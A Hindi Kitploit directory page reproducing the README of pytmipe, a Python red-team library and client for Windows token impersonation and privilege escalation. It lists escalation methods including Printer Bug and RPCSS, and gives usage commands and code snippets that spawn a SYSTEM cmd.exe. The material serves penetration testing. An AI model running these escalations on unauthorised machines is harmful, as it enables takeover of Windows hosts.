Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
pytmipe — विंडोज़ पर विशेषाधिकार वृद्धि के लिए टोकन हेरफेर और प्रतिरूपण हेतु पायथन लाइब्रेरी और क्लाइंट | Kitploit
उपकरण/GitHubGitHub/quentinhardy/pytmipe
विशेषाधिकार वृद्धिपहचान छुपाने के उपकरणपोस्ट-शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubquentinhardy/pytmipe

pytmipe

विंडोज़ पर विशेषाधिकार वृद्धि के लिए टोकन हेरफेर और प्रतिरूपण हेतु पायथन लाइब्रेरी और क्लाइंट

रिपॉजिटरी देखें
123233 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

PYTMIPE & TMIPE

PYTMIPE (PYthon library for Token Manipulation and Impersonation for Privilege Escalation) एक Python 3 लाइब्रेरी है जो विंडोज टोकन में हेरफेर करने और विंडोज पर अधिक विशेषाधिकार प्राप्त करने के लिए प्रतिरूपण प्रबंधित करने के लिए है। TMIPE python 3 क्लाइंट है जो pytmipe लाइब्रेरी का उपयोग करता है।

Content

  • एक python क्लाइंट: tmipe (python3 tmipe.py)
  • एक python लाइब्रेरी: pytmipe. इस प्रोजेक्ट को किसी अन्य में शामिल करने के लिए उपयोगी
  • pytinstaller उदाहरण, स्टैंडअलोन exe प्राप्त करने के लिए

Docs

  • स्लाइड्स "Windows Token Manipulation, Impersonation & Privilege Escalation" (अंग्रेज़ी): link

  • MISC 112 में लेख (फ्रेंच): link

Main features

MethodRequired Privilege(s)OS (no exhaustive)Direct target (max)
Token creation & impersonationusername & passwordAlllocal administrator
Token Impersonation/TheftSeDebugPrivilegeAllnt authority\system
Parent PID spoofing (handle inheritance)SeDebugPrivilege>= Vistant authority\system
Service (SCM)Local administrator (and high integrity level if UAC enabled)Allnt authority\system or domain account
WMI EventLocal administrator (and high integrity level if UAC enabled)Allnt authority\system
« Printer Bug » LPESeImpersonatePrivilege (Service account)Windows 8.1, 10 & Server 2012R2/2016/2019nt authority\system
RPCSS Service LPESeImpersonatePrivilege (Service account)Windows 10 & Server 2016/2019nt authority\system

Capabilities

निम्नलिखित गैर-विस्तृत सूची pytmipe लाइब्रेरी में लागू की गई कुछ सुविधाओं को दर्शाती है:

  • Token और privileges प्रबंधन:
    • वर्तमान या दूरस्थ थ्रेड के लिए टोकन पर privilege(s) प्राप्त करें, सक्षम करें या अक्षम करें
    • स्थानीय या दूरस्थ टोकन जानकारी प्राप्त करें
    • वर्तमान थ्रेड के लिए प्रभावी टोकन प्राप्त करें (impersonation या primary token)
  • चयनित टोकन(टोकनों) के बारे में कई जानकारी प्राप्त करें:
    • elevation type, impersonation type, Linked token with details, SID, ACLs, default groups, primary group, owner, privileges, source
    • आदि
  • उन सभी टोकनों की सूची बनाएं जो सुलभ हैं (primary & impersonation tokens) वर्तमान थ्रेड से:
    • 2 अलग-अलग विधियाँ लागू: "thread" विधि और "handle" विधि (पसंदीदा)
    • जांचें कि टोकन प्रतिरूपित किया जा सकता है या नहीं
    • प्रत्येक टोकन के बारे में जानकारी प्राप्त करें (elevation type, impersonation type, Linked token, SID, आदि)
    • खाता नाम (SID) द्वारा सुलभ सभी टोकन प्राप्त करें
  • एक टोकन या उपयोगकर्ता का प्रतिरूपण करें:
    • Token बनाएं और प्रतिरूपण करें (उपयोगकर्ता के क्रेडेंशियल्स आवश्यक)
    • Token impersonation/theft (विशिष्ट विशेषाधिकार आवश्यक): चुने गए टोकन का प्रतिरूपण करें
    • टोकन के साथ प्रक्रिया बनाएं (विशिष्ट विशेषाधिकार आवश्यक): चुने गए टोकन का प्रतिरूपण करें और नई प्रक्रिया बनाएं
    • प्राप्त पहले nt authority\system टोकन का प्रतिरूपण करें
    • pid के साथ दूरस्थ प्रक्रिया के primary token का प्रतिरूपण करें
  • Escalation विधियाँ:
    • Parent PID Spoofing - Handle Inheritance
    • Service Manager via direct command या named pipe impersonation: local administrator से nt authority\system (या अन्य विशेषाधिकृत खाता)
    • Task scheduler via direct command या named pipe impersonation: local administrator से nt authority\system
    • WMI job via direct command या named pipe impersonation: local administrator से nt authority\system
    • Printer Bug: SeImpersonatePrivilege से nt authority\system
    • RPCSS: SeImpersonatePrivilege से nt authority\system
    • Privileges को पुनः सक्षम करें task scheduling और named pipe impersonation के माध्यम से

Dependencies

ctypes का अधिकतम उपयोग किया जाता है। pytmipe में pywin32 की कई सुविधाओं को फिर से विकसित किया गया है ताकि बेहतर पोर्टेबिलिटी के लिए pywin32 के उपयोग से बचा जा सके। हालांकि, Task Scheduler मॉड्यूल अभी भी समय की कमी के कारण pywin32 (अधिक सटीक रूप से pythoncom) का उपयोग करता है। अन्य सभी मॉड्यूल केवल ctypes का उपयोग करते हैं।

HOW TO USE

python क्लाइंट (जिसका नाम tmipe है) के लिए:

root@kitploit:~
python.exe tmipe.py -h
usage: tmipe.py [-h] [--version]
                {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
                ...

                      **
    888888  8b    d8  88  88""Yb  888888
      88    88b  d88  88  88__dP  88__
      88    88YbdP88  88  88"""   88""
      88    88 YY 88  88  88      888888
-------------------------------------------
Token Manipulation, Impersonation and
     Privilege Escalation (Tool)
-------------------------------------------
By Quentin HARDY ([email protected])

positional arguments:
  {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}

                         Choose a main command
    cangetadmin          Check if user can get admin access
    printalltokens       Print all tokens accessible from current thread
    printalltokensbyname
                         Print all tokens accessible from current thread by account name
    printalltokensbypid  Print all tokens accessible from current thread by pid
    printsystemtokens    Print all system tokens accessible from current
    searchimpfirstsystem
                         search and impersonate first system token
    imppid               impersonate primary token of selected pid and try to spawn cmd.exe
    imptoken             impersonate primary or impersonation token of selected pid/handle and try to spawn cmd.exe
    printerbug           exploit the "printer bug" for getting system shell
    rpcss                exploit "rpcss" for getting system shell
    spoof                parent PID Spoofing ("handle inheritance)"
    impuser              create process with creds with impersonation
    runas                create process with creds as runas
    scm                  create process with Service Control Manager

optional arguments:
  -h, --help             show this help message and exit
  --version              show program's version number and exit

python लाइब्रेरी (जिसका नाम pytmipe है) के लिए, स्रोत कोड और उदाहरण देखें। सामान्यतः, मैंने स्रोत कोड को अच्छी तरह से दस्तावेज़ित किया है... अधिकांश फ़ंक्शन दस्तावेज़ित हैं।

pyinstaller उदाहरणों और स्टैंडअलोन के लिए, src/examples/ फ़ोल्डरों में फ़ाइलें देखें।

Examples

यदि आप जानना चाहते हैं कि pytimpe लाइब्रेरी का उपयोग कैसे करें, तो कई उदाहरणों के लिए src/examples फ़ोल्डर देखें।

Example 1: nt authority\system प्राप्त करें

पहले system टोकन का प्रतिरूपण करने और python क्लाइंट (tmipe) से system के रूप में cmd.exe प्रॉम्प्ट प्राप्त करने के लिए:

root@kitploit:~
python.exe tmipe.py searchimpfirstsystem -vv

pytmipe लाइब्रेरी के माध्यम से वही कार्य करने के लिए, src/examples/searchAndImpersonateFirstSystemToken.py देखें:

root@kitploit:~
from impersonate import Impersonate
from utils import configureLogging

configureLogging()
imp = Impersonate()
imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)

यदि वर्तमान विंडोज उपयोगकर्ता के पास आवश्यक अधिकार हैं, तो यह system के रूप में cmd.exe प्रॉम्प्ट खोलेगा।

बेशक, इस स्रोत कोड से, आप pyinstaller के साथ एक स्टैंडअलोन exe बना सकते हैं।

Example 2: टोकन प्राप्त करें

वर्तमान प्रक्रिया में उपयोग किए जाने वाले primary और impersonation टोकन प्राप्त करने के लिए:

root@kitploit:~
python.exe tmipe.py printalltokens --current --full --linked

आउटपुट:

root@kitploit:~
- PID: 3212
------------------------------
  - PID: 3212
  - type: Primary (1)
  - token: 764
  - hval: None
  - ihandle: None
  - sid: S-1-5-18
  - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
  - intlvl: System
  - owner: S-1-5-32-544
  - Groups:
    - S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER)
    - S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
    - S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
    - S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY)
  - Privileges (User Rights):
    - SeAssignPrimaryTokenPrivilege: Enabled
    [...]
    - SeTrustedCredManAccessPrivilege: Enabled
  - issystem: True
  - sessionID: 1
  - elevationtype: Default (1)
  - iselevated: True
  - Linked Token: None
  - tokensource: b'*SYSTEM*'
  - primarysidgroup: S-1-5-18
  - isrestricted: False
  - hasrestricitions: True
  - Default DACL:
    - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'}
    - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'}
  [...]
  - Mandatory Policy: NO_WRITE_UP

वर्तमान थ्रेड से सुलभ सभी टोकन प्राप्त करने के लिए, pid द्वारा व्यवस्थित, जब केवल प्रतिरूपण संभव हो:

root@kitploit:~
python.exe tmipe.py printalltokensbypid --imp-only

आउटपुट:

root@kitploit:~
[...]
- PID 4276:
        - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- PID 7252:
        - None
- PID 1660:
        - S-1-5-21-28624056-3392308708-440876048-1106: DOMAIN\USER (possible imp: True)
        - S-1-5-20: NT AUTHORITY\NETWORK SERVICE (possible imp: True)
        - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
        - S-1-5-90-0-1: Window Manager\DWM-1 (possible imp: True)
        - S-1-5-19: NT AUTHORITY\LOCAL SERVICE (possible imp: True)
[...]

यदि आप यह ऑपरेशन pytmipe लाइब्रेरी के साथ करना चाहते हैं, तो यह भी आसान है:

root@kitploit:~
from impersonate import Impersonate
from utils import configureLogging

configureLogging()
imp = Impersonate()
imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)

Example 3: टोकन का प्रतिरूपण करें

आप चयनित टोकन का प्रतिरूपण कर सकते हैं।

पहला कदम, अपने फ़िल्टर (system टोकन और टोकन जो वर्तमान थ्रेड द्वारा प्रतिरूपित किए जा सकते हैं) के अनुसार सभी टोकन प्राप्त करें:

root@kitploit:~
python.exe tmipe.py printalltokens --filter {\"sid\":\"S-1-5-18\",\"canimpersonate\":true}

आउटपुट:

root@kitploit:~
[...]
- PID: 2288
------------------------------
  - PID: 2288
  - type: Impersonation (2)
  - token: 2504
  - ihandle: 118
  - sid: S-1-5-18
  - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
  - intlvl: System
  - owner: S-1-5-18
  - issystem: True
  - elevationtype: Default (1)
  - iselevated: True
  - linkedtoken: None
  - implevel: Impersonate (2)
  - appcontainertoken: False
  [...]
  - primarysidgroup: S-1-5-18
  - isrestricted: False
  - hasrestricitions: True
  - Mandatory Policy: VALID_MASK
  - canimpersonate: True
[...]

यह पिछला आउटपुट pid 2288 (ihandle 118) में स्थित एक impersonation टोकन दिखाता है, जिसका integrity level system है। निम्नलिखित कमांड से इस विशिष्ट टोकन का प्रतिरूपण करना संभव है:

root@kitploit:~
python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv

यह पिछला कमांड nt authority\system के रूप में cmd.exe खोलता है।

यह pytmipe लाइब्रेरी के साथ भी किया जा सकता है। निम्नलिखित स्रोत कोड पहले उपलब्ध system टोकन का प्रतिरूपण करता है, प्रभावी टोकन प्रिंट करता है और प्रतिरूपण को समाप्त करता है:

root@kitploit:~
from impersonate import Impersonate
from windef import TokenImpersonation

allTokens = imp.getTokensAccessibleFilter(targetPID=None,
                                          filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation},
                                          _useThreadMethod=False)
if allTokens == {} or allTokens==None:
    print("No one token found for impersonation")
else:
    pid = list(allTokens.keys())[0] #use the first token of the first pid returned in 'allTokens'
    firstIHandle = allTokens[pid][0]['ihandle']
    imp.printThisToken(allTokens, pid, firstIHandle)
    imp.impersonateThisToken(pid=pid, iHandle=firstIHandle)
    print("Current Effective token for current thread after impersonation:")
    imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
    imp.terminateImpersonation()
    print("Current Effective token for current thread (impersonation finished):")
    imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)

Donation

यदि आप मेरे काम का समर्थन करने के लिए दान करना चाहते हैं, तो मैं बहुत सराहना करूंगा:

BTC के माध्यम से: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf

टूल डाउनलोड करें